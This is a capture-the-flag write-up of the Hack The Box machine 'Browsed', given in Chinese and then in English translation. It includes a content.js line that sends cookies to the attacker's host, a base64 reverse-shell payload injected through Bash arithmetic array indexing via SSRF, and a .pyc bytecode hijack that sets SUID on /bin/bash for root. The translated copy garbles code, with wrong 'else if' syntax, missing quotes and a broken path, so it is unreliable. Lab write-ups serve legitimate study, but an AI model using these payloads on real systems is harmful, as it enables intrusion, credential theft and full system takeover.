htb browsed

Information Gathering

# Nmap 7.98 scan initiated Wed Jan 21 17:44:40 2026 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.244.79
Nmap scan report for browsed.htb (10.129.244.79)
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 1.564 days (since Tue Jan 20 04:13:26 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 21 17:44:54 2026 -- 1 IP address (1 host up) scanned in 13.56 seconds

Vulnerability Analysis

浏览器功能:可以上传一个插件,管理员会审核这些插件,并提供一些插件样本

下载其中一个插件得到

➜  Browsed 7z l fontify.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-03-19 16:08:31 .....          274          191  content.js
2025-03-23 11:23:58 .....          450          239  manifest.json
2025-03-19 16:08:08 .....          568          254  popup.html
2025-03-19 16:08:41 .....          756          364  popup.js
2025-03-19 16:08:52 .....          181          120  style.css
------------------- ----- ------------ ------------  ------------------------
2025-03-23 11:23:58               2229         1168  5 files

因为是服务器端的用户(有特权)检查,假设没有做任何隔离,即可以执行任意JavaScript


上传示例扩展zip后,复制输出可以得到:

http://browsedinternals.htb/ 内部子域名

Cannot stat “/var/www/.config/… 不是沙盒

WebSocket 调试地址: ws://127.0.0.1:40529/devtools/browser/be47938e-b306-45b4-8b1f-3e1c71320752


执行SSRF攻击

在content.js下添加:navigator.sendBeacon(‘http://10.10.16.41/flag’, document.cookie);

最终在输出中可以看到执行成功

➜  Browsed sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.41] from (UNKNOWN) [10.129.244.79] 52800
POST /flag HTTP/1.1
Host: 10.10.16.41
Connection: keep-alive
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://browsedinternals.htb
Accept-Encoding: gzip, deflate

枚举子域

Gitea Version: 1.24.5

可以很轻松的发现http://browsedinternals.htb/larry/MarkdownPreview的文件

README.md:
# markdownPreview
This webapp allows us to convert our md files to html. Still in developement, it should only run locally !!!
app.py
一个基于 Flask 的 Markdown Preview 应用程序正在本地主机端口 5000 上运行。它公开了一个端点 /routines/,该端点接受一个例程 ID。

routines.sh

**#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi**

在 Bash 中,在算术运算上下文中,可以使用数组下标语法 var[index]。关键在于,索引会被计算出来。如果我们使用命令替换 $(cmd) 作为索引,Bash 会在比较之前执行该命令。

如果我们发送payload:a[$id],会执行

  1. $id
  2. a[uid=……]
  3. 出现错误,但是代码执行

Exploitation (User Flag)

通过ssrf可以利用此漏洞

在content.js添加

const myPayloadB64 = "KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNDEvNDQ0NCAwPiYxKSAm";

const TARGET = "http://127.0.0.1:5000/routines/";
const sp = "%20"; // URL 编码的空格,因为这是在 URL 里

// 核心利用点:a[$(你的命令)]
// 服务器在解析数组索引时,会执行 $() 里面的命令
const exploit = "a[$(echo" + sp + myPayloadB64 + "|base64" + sp + "-d|bash)]";

// 发送请求
console.log("Sending payload: " + exploit);
fetch(TARGET + exploit, { mode: "no-cors" });

即可获取user

Privilege Escalation (Root Flag)

larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

查看文件得到从本地文件导入了一个模块

from extension_utils import validate_manifest, clean_temp_files

larry@browsed:~$ ls -la /opt/extensiontool/
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

Python 字节码劫持

Python 运行脚本时,为了提高加载速度,会将编译后的字节码 (.pyc 文件) 存放在 __pycache__ 目录中。 当 extension_tool.py 运行时,它会执行 from extension_utils import ...。 此时 Python 的加载逻辑如下:

  1. 检查 __pycache__ 里是否有对应的 .pyc 文件。
  2. 如果有,且其 Header 中的元数据(时间戳/Hash)与源代码 extension_utils.py 匹配,Python 就会直接加载执行这个 .pyc 文件,而忽略源代码。
  3. 由于 extension_tool.py 是以 Root (sudo) 身份运行的,它加载的 .pyc 代码也会以 Root 权限执行。

利用思路:我们可以在这个 777 目录下,用一个恶意的 .pyc 文件(里面包含提权代码)替换掉合法的 extension_utils.cpython-312.pyc

# 生成payload
echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/pwn.py
# 编译
python3 -m compileall /tmp/pwn.py

运行源程序

larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls /opt/extensiontool/__pycache__/
extension_utils.cpython-312.pyc

得到合法header,并将前面的字节更换到我们生成的.pyc文件

# 提取头部
dd if=/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc of=/tmp/header.bin bs=1 count=16
# 提取身子
dd if=/tmp/__pycache__/pwn.cpython-312.pyc of=/tmp/body.bin bs=1 skip=16
# 拼接
cat /tmp/header.bin /tmp/body.bin > /tmp/evil.pyc
# 粘贴
cp /tmp/evil.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
# 运行
sudo /opt/extensiontool/extension_tool.py
larry@browsed:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
larry@browsed:/tmp$ /bin/bash -p
bash-5.2# cat /root/root.txt
b526db53340698024bdbf430d9dc46b2

Lessons Learned

# Information Gathering

A Nmap 7.98 scan was initiated on Wednesday, January 21, 2026, using the following command:

/usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.244.79

The scan report for the target browsed.htb (10.129.244.79) is as follows:

  • The host is online, with a latency of 0.082 seconds.
  • 998 closed TCP ports were not displayed (they were likely reset by the host).

Port Details:

  • 22/tcp is open and running OpenSSH version 9.6p1 on Ubuntu 3ubuntu13.14.
    • SSH key details: 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA) and 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
  • 80/tcp is open and running nginx version 1.24.0.
    • Supported HTTP methods: GET, HEAD
    • HTTP header: nginx/1.24.0
    • Device type: General purpose
    • Operating system: Linux 4.X|5.X
    • OS CPE (Common Platform Enumeration): cpe:/o:linux:linux_kernel:4, cpe:/o:linux:linux_kernel:5
    • OS version range: Linux 4.15–5.19
    • Uptime estimate: 1.564 days (since Tuesday, January 20, 2026)
    • Network distance: 2 hops
    • TCP sequence prediction difficulty: 257 (challenging)
    • IP address sequence generation: All zeros

Service Information: The operating system is Linux, with the CPE (Common Platform Enumeration) being cpe:/o:linux:linux_kernel.

Nmap Output:

The Nmap scan was completed on Wednesday, January 21, 2026, in 13.56 seconds, scanning 1 IP address (1 host).

Vulnerability Analysis

Browser functionality: Allows users to upload plugins, which are then reviewed by administrators and some sample plugins are provided.

One of the plugins was downloaded as follows:

➜  Browsed 7z l fontify.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-03-19 16:08:31 .....          274          191  content.js
2025-03-23 11:23:58 .....          450          239  manifest.json
2025-03-19 16:08:08 .....          568          254  popup.html
2025-03-19 16:08:41 .....          756          364  popup.js
2025-03-19 16:08:52 .....          181          120  style.css
------------------- ----- ------------ ------------  ------------------------
2025-03-23 11:23:58               2229         1168  5 files

Since the checks are performed by a privileged user on the server side, and no isolation measures are in place, the user can execute any JavaScript code.


After uploading the sample plugin and copying the output, the following URL can be accessed: http://browsedinternals.htb/ (an internal subdomain)

The following file cannot be accessed: /var/www/.config/ (indicating that it is not in a sandbox environment).

WebSocket debugging address: ws://127.0.0.1:40529/devtools/browser/be47938e-b306-45b4-8b1f-3e1c71320752


Performing an SSRF Attack

The following code was added to content.js:

navigator.sendBeacon('[http://10.10.16.41/flag](http://10.10.16.41/flag)', document.cookie);

This successfully executed the SSRF attack.

➜  Browsed sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.41] from (UNKNOWN) [10.129.244.79] 52800
POST /flag HTTP/1.1
Host: 10.10.16.41
Connection: keep-alive
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://browsedinternals.htb
Accept-Encoding: gzip, deflate

Enumerating Subdomains

Gitea Version: 1.24.5

It was easy to find the file http://browsedinternals.htb/larry/MarkdownPreview.

README.md:
# markdownPreview This webapp allows us to convert our Markdown files to HTML. It’s still in development and should only be run locally!!! ```
app.py
A Flask-based Markdown preview application is running on local host port 5000. It exposes an endpoint at /routines/ that accepts a routine ID as a parameter.
routines.sh
**#!/bin/bash**

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temporary files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."
else if [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."
else if [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."
else if [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."
else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

In Bash, within arithmetic expressions, you can use the array indexing syntax var[index]. The key point is that the index is calculated before the expression is evaluated. If we use the command $(cmd) as an index, Bash will execute the command before making the comparison.

For example, if we use a[$id], the following sequence of operations occurs:

  1. $id is evaluated first.
  2. Then, a[uid=...] is evaluated.
  3. This can lead to errors, but the code will still execute as planned.

# **Exploitation (User Flag)**

This vulnerability can be exploited using SSRF (Server-Side Request Forgery). Add the following code to `content.js`:

```javascript
const myPayloadB64 = "KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNDEvNDQ0NCAwPiYxKSAm";
const TARGET = "http://127.0.0.1:5000/routines/;
const sp = "%20"; // Spaces used for URL encoding

// The key to exploitation lies here: `$()`
// The server will execute the command inside `$()` when interpreting the array index.
const exploit = "a[$(echo " + sp + myPayloadB64 + "|base64" + sp + "-d|bash)]";

// Send the request
console.log("Sending payload: " + exploit);
fetch(TARGET + exploit, { mode: "no-cors });

By doing this, the user flag can be obtained.

Privilege Escalation (Root Flag)

larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

By examining the files, it is evident that a module has been imported from a local file:

larry@browsed:~$ ls -la /opt/extensiontool/
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

Python Bytecode Hijacking

When Python scripts are executed, compiled bytecode (.pyc files) are stored in the __pycache__ directory to improve loading speed. When extension_tool.py runs, it imports functions from extension_utils. Python’s loading mechanism works as follows:

  1. It checks if a corresponding .pyc file exists in __pycache__.
  2. If it does, and if the metadata (timestamp/Hash) in the .pyc file matches the source code extension_utils.py, Python loads and executes the .pyc file directly, ignoring the source code.
  3. Since extension_tool.py is executed with Root privileges, the loaded .pyc code is also executed with Root privileges.

Exploitation strategy: We can replace the legitimate extension_utils.cpython-312.pyc file with a malicious .pyc file in the __pycache__ directory that contains code to escalate privileges. Here’s how to create the payload:

echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/pwn.py
python3 -m compileall /tmp/pwn.py

Then, run the original program:

larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls /opt/extensiontool/__pycache__
extension_utils.cpython-312.pyc

By replacing the original .pyc file with the malicious one, the malicious code will be executed with Root privileges.

Extracting the header

dd if=/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc of=/tmp/header.bin bs=1 count=16

Extracting the body

dd if=/tmp/__pycache__/pwn.cpython-312.pyc of=/tmp/body.bin bs=1 skip=16

Concatenating the files

cat /tmp header.bin /tmp/body.bin > /tmp/evil.pyc

Copying the modified file back to its original location

cp /tmp/evil.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

Running the modified program

sudo /opt/extensiontool/extension_tool.py
larry@browsed:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
larry@browsed:/tmp$ /bin/bash -p
bash-5.2
# Viewing the contents of the file /root/root.txt
cat /root/root.txt
b526db53340698024bdbf430d9dc46b2

Lessons Learned